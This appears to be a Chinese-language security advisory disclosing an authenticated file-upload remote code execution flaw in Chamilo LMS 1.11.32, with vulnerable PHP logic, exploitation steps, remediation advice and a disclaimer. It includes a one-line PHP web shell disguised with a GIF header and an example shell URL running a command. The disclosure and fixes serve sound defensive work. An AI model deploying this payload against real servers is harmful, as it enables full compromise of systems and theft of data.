Chamilo LMS 1.11.32 中通过
ck_uploadimageAJAX 端点的不当文件上传验证实现已认证远程代码执行。低权限学生可上传伪装成图片的 PHP Web Shell,从而实现完全服务器沦陷。
| 字段 | 详情 |
|---|---|
| 产品 | Chamilo LMS |
| 版本 | 1.11.32(已确认) |
| 漏洞类型 | 危险类型文件的无限制上传(CWE-434) |
| 影响 | 已认证远程代码执行(RCE) |
| CVSS v3.1 | 8.8(高危) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 所需认证 | ✅ 是 — 学生角色(低权限) |
| CWE | CWE-434:危险类型文件的无限制上传 |
| 发现者 | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
易受攻击文件: main/inc/ajax/document.ajax.php
易受攻击函数: ck_uploadimage
上传处理程序仅使用 PHP 的 mime_content_type() 函数执行 MIME 类型验证,该函数检查文件的魔数(内容的前几个字节),而非文件扩展名。
// 易受攻击的验证逻辑(简化)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("Invalid file type");
}
// ❌ 无扩展名验证
// ❌ 无文件名清理
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
两个独立的弱点组合成完整的利用链:
GIF89a)即可绕过.php 扩展名)存储文件,且位于可通过 Web 访问的目录中恶意文件的构造方式如下:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type() 读取 GIF89a → 归类为 image/gif → 通过验证move_uploaded_file() 将文件保存为 /app/upload/users/<id>/ 下的 shell.php → 可直接通过浏览器执行运行完整利用程序,自动以学生身份登录并执行文件上传
运行 Python 完整利用程序后,我们可以在 http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id 找到上传的 Web Shell

成功利用此漏洞可从学生级账户实现完全服务器沦陷:
CIA 影响:机密性、完整性和可用性完全丧失。
▪ 强制执行严格的文件扩展名白名单 仅应接受明确允许的图片文件扩展名(例如 .jpg、.png、.gif)。 无论 MIME 类型如何,都必须拒绝具有可执行扩展名(如 .php、.phtml 或 .phar)的上传文件。
▪ 不要仅依赖 MIME 类型验证
使用 mime_content_type() 等函数的 MIME 类型检查不应作为主要安全控制手段,
因为它们可以通过构造的文件头绕过。MIME 验证只能作为辅助检查。
▪ 将上传文件存储在 Web 可访问目录之外 上传的内容应存储在无法通过 Web 服务器直接访问的目录中。 如果需要公开访问,应通过受控的处理程序提供文件,而非直接访问。
MENG HOKSENG
独立安全研究员
本项目仅用于教育和授权的安全研究目的。作者不对因使用此利用程序造成的任何滥用或损害负责。在执行安全评估之前,请始终获得明确的书面授权。